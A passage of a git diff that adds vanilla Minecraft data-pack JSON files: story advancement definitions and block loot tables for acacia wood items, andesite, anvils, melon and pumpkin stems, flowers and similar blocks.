\ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/transportation/warped_fungus_on_a_stick.json b/src/data/minecraft/advancements/recipes/transportation/warped_fungus_on_a_stick.json new file mode 100644 index 00000000..8a6418bd --- /dev/null +++ b/src/data/minecraft/advancements/recipes/transportation/warped_fungus_on_a_stick.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:warped_fungus_on_a_stick" + ] + }, + "criteria": { + "has_warped_fungus": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:warped_fungus" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:warped_fungus_on_a_stick" + } + } + }, + "requirements": [ + [ + "has_warped_fungus", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/story/cure_zombie_villager.json b/src/data/minecraft/advancements/story/cure_zombie_villager.json new file mode 100644 index 00000000..4ae99a11 --- /dev/null +++ b/src/data/minecraft/advancements/story/cure_zombie_villager.json @@ -0,0 +1,29 @@ +{ + "parent": "minecraft:story/enter_the_nether", + "display": { + "icon": { + "item": "minecraft:golden_apple" + }, + "title": { + "translate": "advancements.story.cure_zombie_villager.title" + }, + "description": { + "translate": "advancements.story.cure_zombie_villager.description" + }, + "frame": "goal", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "cured_zombie": { + "trigger": "minecraft:cured_zombie_villager", + "conditions": {} + } + }, + "requirements": [ + [ + "cured_zombie" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/story/deflect_arrow.json b/src/data/minecraft/advancements/story/deflect_arrow.json new file mode 100644 index 00000000..0fc521d8 --- /dev/null +++ b/src/data/minecraft/advancements/story/deflect_arrow.json @@ -0,0 +1,37 @@ +{ + "parent": "minecraft:story/obtain_armor", + "display": { + "icon": { + "item": "minecraft:shield", + "nbt": "{Damage:0}" + }, + "title": { + "translate": "advancements.story.deflect_arrow.title" + }, + "description": { + "translate": "advancements.story.deflect_arrow.description" + }, + "frame": "task", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "deflected_projectile": { + "trigger": "minecraft:entity_hurt_player", + "conditions": { + "damage": { + "type": { + "is_projectile": true + }, + "blocked": true + } + } + } + }, + "requirements": [ + [ + "deflected_projectile" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/story/enchant_item.json b/src/data/minecraft/advancements/story/enchant_item.json new file mode 100644 index 00000000..74d8c82c --- /dev/null +++ b/src/data/minecraft/advancements/story/enchant_item.json @@ -0,0 +1,29 @@ +{ + "parent": "minecraft:story/mine_diamond", + "display": { + "icon": { + "item": "minecraft:enchanted_book" + }, + "title": { + "translate": "advancements.story.enchant_item.title" + }, + "description": { + "translate": "advancements.story.enchant_item.description" + }, + "frame": "task", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "enchanted_item": { + "trigger": "minecraft:enchanted_item", + "conditions": {} + } + }, + "requirements": [ + [ + "enchanted_item" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/story/enter_the_end.json b/src/data/minecraft/advancements/story/enter_the_end.json new file mode 100644 index 00000000..4b489a46 --- /dev/null +++ b/src/data/minecraft/advancements/story/enter_the_end.json @@ -0,0 +1,31 @@ +{ + "parent": "minecraft:story/follow_ender_eye", + "display": { + "icon": { + "item": "minecraft:end_stone" + }, + "title": { + "translate": "advancements.story.enter_the_end.title" + }, + "description": { + "translate": "advancements.story.enter_the_end.description" + }, + "frame": "task", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "entered_end": { + "trigger": "minecraft:changed_dimension", + "conditions": { + "to": "minecraft:the_end" + } + } + }, + "requirements": [ + [ + "entered_end" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/story/enter_the_nether.json b/src/data/minecraft/advancements/story/enter_the_nether.json new file mode 100644 index 00000000..d204a257 --- /dev/null +++ b/src/data/minecraft/advancements/story/enter_the_nether.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:story/form_obsidian", + "display": { + "icon": { + "item": "minecraft:flint_and_steel", + "nbt": "{Damage:0}" + }, + "title": { + "translate": "advancements.story.enter_the_nether.title" + }, + "description": { + "translate": "advancements.story.enter_the_nether.description" + }, + "frame": "task", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "entered_nether": { + "trigger": "minecraft:changed_dimension", + "conditions": { + "to": "minecraft:the_nether" + } + } + }, + "requirements": [ + [ + "entered_nether" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/story/follow_ender_eye.json b/src/data/minecraft/advancements/story/follow_ender_eye.json new file mode 100644 index 00000000..3f1ec168 --- /dev/null +++ b/src/data/minecraft/advancements/story/follow_ender_eye.json @@ -0,0 +1,33 @@ +{ + "parent": "minecraft:story/enter_the_nether", + "display": { + "icon": { + "item": "minecraft:ender_eye" + }, + "title": { + "translate": "advancements.story.follow_ender_eye.title" + }, + "description": { + "translate": "advancements.story.follow_ender_eye.description" + }, + "frame": "task", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "in_stronghold": { + "trigger": "minecraft:location", + "conditions": { + "location": { + "feature": "stronghold" + } + } + } + }, + "requirements": [ + [ + "in_stronghold" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/story/form_obsidian.json b/src/data/minecraft/advancements/story/form_obsidian.json new file mode 100644 index 00000000..a5cd2c8a --- /dev/null +++ b/src/data/minecraft/advancements/story/form_obsidian.json @@ -0,0 +1,35 @@ +{ + "parent": "minecraft:story/lava_bucket", + "display": { + "icon": { + "item": "minecraft:obsidian" + }, + "title": { + "translate": "advancements.story.form_obsidian.title" + }, + "description": { + "translate": "advancements.story.form_obsidian.description" + }, + "frame": "task", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "obsidian": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:obsidian" + } + ] + } + } + }, + "requirements": [ + [ + "obsidian" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/story/iron_tools.json b/src/data/minecraft/advancements/story/iron_tools.json new file mode 100644 index 00000000..1a378520 --- /dev/null +++ b/src/data/minecraft/advancements/story/iron_tools.json @@ -0,0 +1,36 @@ +{ + "parent": "minecraft:story/smelt_iron", + "display": { + "icon": { + "item": "minecraft:iron_pickaxe", + "nbt": "{Damage:0}" + }, + "title": { + "translate": "advancements.story.iron_tools.title" + }, + "description": { + "translate": "advancements.story.iron_tools.description" + }, + "frame": "task", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "iron_pickaxe": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_pickaxe" + } + ] + } + } + }, + "requirements": [ + [ + "iron_pickaxe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/story/lava_bucket.json b/src/data/minecraft/advancements/story/lava_bucket.json new file mode 100644 index 00000000..c2573820 --- /dev/null +++ b/src/data/minecraft/advancements/story/lava_bucket.json @@ -0,0 +1,35 @@ +{ + "parent": "minecraft:story/smelt_iron", + "display": { + "icon": { + "item": "minecraft:lava_bucket" + }, + "title": { + "translate": "advancements.story.lava_bucket.title" + }, + "description": { + "translate": "advancements.story.lava_bucket.description" + }, + "frame": "task", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "lava_bucket": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:lava_bucket" + } + ] + } + } + }, + "requirements": [ + [ + "lava_bucket" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/story/mine_diamond.json b/src/data/minecraft/advancements/story/mine_diamond.json new file mode 100644 index 00000000..63eb23aa --- /dev/null +++ b/src/data/minecraft/advancements/story/mine_diamond.json @@ -0,0 +1,35 @@ +{ + "parent": "minecraft:story/iron_tools", + "display": { + "icon": { + "item": "minecraft:diamond" + }, + "title": { + "translate": "advancements.story.mine_diamond.title" + }, + "description": { + "translate": "advancements.story.mine_diamond.description" + }, + "frame": "task", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "diamond": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:diamond" + } + ] + } + } + }, + "requirements": [ + [ + "diamond" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/story/mine_stone.json b/src/data/minecraft/advancements/story/mine_stone.json new file mode 100644 index 00000000..f60ed96f --- /dev/null +++ b/src/data/minecraft/advancements/story/mine_stone.json @@ -0,0 +1,36 @@ +{ + "parent": "minecraft:story/root", + "display": { + "icon": { + "item": "minecraft:wooden_pickaxe", + "nbt": "{Damage:0}" + }, + "title": { + "translate": "advancements.story.mine_stone.title" + }, + "description": { + "translate": "advancements.story.mine_stone.description" + }, + "frame": "task", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "get_stone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "tag": "minecraft:stone_tool_materials" + } + ] + } + } + }, + "requirements": [ + [ + "get_stone" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/story/obtain_armor.json b/src/data/minecraft/advancements/story/obtain_armor.json new file mode 100644 index 00000000..a7987193 --- /dev/null +++ b/src/data/minecraft/advancements/story/obtain_armor.json @@ -0,0 +1,69 @@ +{ + "parent": "minecraft:story/smelt_iron", + "display": { + "icon": { + "item": "minecraft:iron_chestplate", + "nbt": "{Damage:0}" + }, + "title": { + "translate": "advancements.story.obtain_armor.title" + }, + "description": { + "translate": "advancements.story.obtain_armor.description" + }, + "frame": "task", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "iron_helmet": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_helmet" + } + ] + } + }, + "iron_chestplate": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_chestplate" + } + ] + } + }, + "iron_leggings": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_leggings" + } + ] + } + }, + "iron_boots": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_boots" + } + ] + } + } + }, + "requirements": [ + [ + "iron_helmet", + "iron_chestplate", + "iron_leggings", + "iron_boots" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/story/root.json b/src/data/minecraft/advancements/story/root.json new file mode 100644 index 00000000..c005ba4d --- /dev/null +++ b/src/data/minecraft/advancements/story/root.json @@ -0,0 +1,35 @@ +{ + "display": { + "icon": { + "item": "minecraft:grass_block" + }, + "title": { + "translate": "advancements.story.root.title" + }, + "description": { + "translate": "advancements.story.root.description" + }, + "frame": "task", + "show_toast": false, + "announce_to_chat": false, + "hidden": false, + "background": "minecraft:textures/gui/advancements/backgrounds/stone.png" + }, + "criteria": { + "crafting_table": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:crafting_table" + } + ] + } + } + }, + "requirements": [ + [ + "crafting_table" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/story/shiny_gear.json b/src/data/minecraft/advancements/story/shiny_gear.json new file mode 100644 index 00000000..10823448 --- /dev/null +++ b/src/data/minecraft/advancements/story/shiny_gear.json @@ -0,0 +1,69 @@ +{ + "parent": "minecraft:story/mine_diamond", + "display": { + "icon": { + "item": "minecraft:diamond_chestplate", + "nbt": "{Damage:0}" + }, + "title": { + "translate": "advancements.story.shiny_gear.title" + }, + "description": { + "translate": "advancements.story.shiny_gear.description" + }, + "frame": "task", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "diamond_helmet": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:diamond_helmet" + } + ] + } + }, + "diamond_chestplate": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:diamond_chestplate" + } + ] + } + }, + "diamond_leggings": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:diamond_leggings" + } + ] + } + }, + "diamond_boots": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:diamond_boots" + } + ] + } + } + }, + "requirements": [ + [ + "diamond_helmet", + "diamond_chestplate", + "diamond_leggings", + "diamond_boots" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/story/smelt_iron.json b/src/data/minecraft/advancements/story/smelt_iron.json new file mode 100644 index 00000000..a8a0de1b --- /dev/null +++ b/src/data/minecraft/advancements/story/smelt_iron.json @@ -0,0 +1,35 @@ +{ + "parent": "minecraft:story/upgrade_tools", + "display": { + "icon": { + "item": "minecraft:iron_ingot" + }, + "title": { + "translate": "advancements.story.smelt_iron.title" + }, + "description": { + "translate": "advancements.story.smelt_iron.description" + }, + "frame": "task", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "iron": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_ingot" + } + ] + } + } + }, + "requirements": [ + [ + "iron" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/story/upgrade_tools.json b/src/data/minecraft/advancements/story/upgrade_tools.json new file mode 100644 index 00000000..d3e6a54a --- /dev/null +++ b/src/data/minecraft/advancements/story/upgrade_tools.json @@ -0,0 +1,36 @@ +{ + "parent": "minecraft:story/mine_stone", + "display": { + "icon": { + "item": "minecraft:stone_pickaxe", + "nbt": "{Damage:0}" + }, + "title": { + "translate": "advancements.story.upgrade_tools.title" + }, + "description": { + "translate": "advancements.story.upgrade_tools.description" + }, + "frame": "task", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "stone_pickaxe": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:stone_pickaxe" + } + ] + } + } + }, + "requirements": [ + [ + "stone_pickaxe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/acacia_button.json b/src/data/minecraft/loot_tables/blocks/acacia_button.json new file mode 100644 index 00000000..b25f5056 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/acacia_button.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:acacia_button" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/acacia_door.json b/src/data/minecraft/loot_tables/blocks/acacia_door.json new file mode 100644 index 00000000..82ee58b7 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/acacia_door.json @@ -0,0 +1,28 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:acacia_door", + "properties": { + "half": "lower" + } + } + ], + "name": "minecraft:acacia_door" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/acacia_fence.json b/src/data/minecraft/loot_tables/blocks/acacia_fence.json new file mode 100644 index 00000000..71566ff6 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/acacia_fence.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:acacia_fence" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/acacia_fence_gate.json b/src/data/minecraft/loot_tables/blocks/acacia_fence_gate.json new file mode 100644 index 00000000..bcd82787 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/acacia_fence_gate.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:acacia_fence_gate" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/acacia_leaves.json b/src/data/minecraft/loot_tables/blocks/acacia_leaves.json new file mode 100644 index 00000000..b2083eed --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/acacia_leaves.json @@ -0,0 +1,128 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:alternative", + "terms": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "item": "minecraft:shears" + } + }, + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ], + "name": "minecraft:acacia_leaves" + }, + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:survives_explosion" + }, + { + "condition": "minecraft:table_bonus", + "enchantment": "minecraft:fortune", + "chances": [ + 0.05, + 0.0625, + 0.083333336, + 0.1 + ] + } + ], + "name": "minecraft:acacia_sapling" + } + ] + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:table_bonus", + "enchantment": "minecraft:fortune", + "chances": [ + 0.02, + 0.022222223, + 0.025, + 0.033333335, + 0.1 + ] + } + ], + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 2.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:stick" + } + ], + "conditions": [ + { + "condition": "minecraft:inverted", + "term": { + "condition": "minecraft:alternative", + "terms": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "item": "minecraft:shears" + } + }, + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/acacia_log.json b/src/data/minecraft/loot_tables/blocks/acacia_log.json new file mode 100644 index 00000000..4cb622f8 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/acacia_log.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:acacia_log" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/acacia_planks.json b/src/data/minecraft/loot_tables/blocks/acacia_planks.json new file mode 100644 index 00000000..29fbd26b --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/acacia_planks.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:acacia_planks" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/acacia_pressure_plate.json b/src/data/minecraft/loot_tables/blocks/acacia_pressure_plate.json new file mode 100644 index 00000000..bedb93f5 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/acacia_pressure_plate.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:acacia_pressure_plate" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/acacia_sapling.json b/src/data/minecraft/loot_tables/blocks/acacia_sapling.json new file mode 100644 index 00000000..ee1ffbc1 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/acacia_sapling.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:acacia_sapling" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/acacia_sign.json b/src/data/minecraft/loot_tables/blocks/acacia_sign.json new file mode 100644 index 00000000..0925a3bb --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/acacia_sign.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:acacia_sign" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/acacia_slab.json b/src/data/minecraft/loot_tables/blocks/acacia_slab.json new file mode 100644 index 00000000..60c2fb17 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/acacia_slab.json @@ -0,0 +1,32 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:acacia_slab", + "properties": { + "type": "double" + } + } + ], + "count": 2 + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:acacia_slab" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/acacia_stairs.json b/src/data/minecraft/loot_tables/blocks/acacia_stairs.json new file mode 100644 index 00000000..77ca464c --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/acacia_stairs.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:acacia_stairs" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/acacia_trapdoor.json b/src/data/minecraft/loot_tables/blocks/acacia_trapdoor.json new file mode 100644 index 00000000..250a3f14 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/acacia_trapdoor.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:acacia_trapdoor" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/acacia_wood.json b/src/data/minecraft/loot_tables/blocks/acacia_wood.json new file mode 100644 index 00000000..eeec83a3 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/acacia_wood.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:acacia_wood" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/activator_rail.json b/src/data/minecraft/loot_tables/blocks/activator_rail.json new file mode 100644 index 00000000..9f77a73b --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/activator_rail.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:activator_rail" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/allium.json b/src/data/minecraft/loot_tables/blocks/allium.json new file mode 100644 index 00000000..de648c04 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/allium.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:allium" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/ancient_debris.json b/src/data/minecraft/loot_tables/blocks/ancient_debris.json new file mode 100644 index 00000000..d0b918f0 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/ancient_debris.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:ancient_debris" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/andesite.json b/src/data/minecraft/loot_tables/blocks/andesite.json new file mode 100644 index 00000000..2dabd8b2 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/andesite.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:andesite" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/andesite_slab.json b/src/data/minecraft/loot_tables/blocks/andesite_slab.json new file mode 100644 index 00000000..f698cb38 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/andesite_slab.json @@ -0,0 +1,32 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:andesite_slab", + "properties": { + "type": "double" + } + } + ], + "count": 2 + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:andesite_slab" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/andesite_stairs.json b/src/data/minecraft/loot_tables/blocks/andesite_stairs.json new file mode 100644 index 00000000..7803837c --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/andesite_stairs.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:andesite_stairs" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/andesite_wall.json b/src/data/minecraft/loot_tables/blocks/andesite_wall.json new file mode 100644 index 00000000..2a7edd92 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/andesite_wall.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:andesite_wall" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/anvil.json b/src/data/minecraft/loot_tables/blocks/anvil.json new file mode 100644 index 00000000..a29c8ff5 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/anvil.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:anvil" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/attached_melon_stem.json b/src/data/minecraft/loot_tables/blocks/attached_melon_stem.json new file mode 100644 index 00000000..7601c3dd --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/attached_melon_stem.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "n": 3, + "p": 0.53333336, + "type": "minecraft:binomial" + } + } + ], + "name": "minecraft:melon_seeds" + } + ], + "functions": [ + { + "function": "minecraft:explosion_decay" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/attached_pumpkin_stem.json b/src/data/minecraft/loot_tables/blocks/attached_pumpkin_stem.json new file mode 100644 index 00000000..61ab15c5 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/attached_pumpkin_stem.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "n": 3, + "p": 0.53333336, + "type": "minecraft:binomial" + } + } + ], + "name": "minecraft:pumpkin_seeds" + } + ], + "functions": [ + { + "function": "minecraft:explosion_decay" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/azure_bluet.json b/src/data/minecraft/loot_tables/blocks/azure_bluet.json new file mode 100644 index 00000000..1c3911e3 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/azure_bluet.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:azure_bluet" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/bamboo.json b/src/data/minecraft/loot_tables/blocks/bamboo.json new file mode 100644 index 00000000..aa3fb022 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/bamboo.json 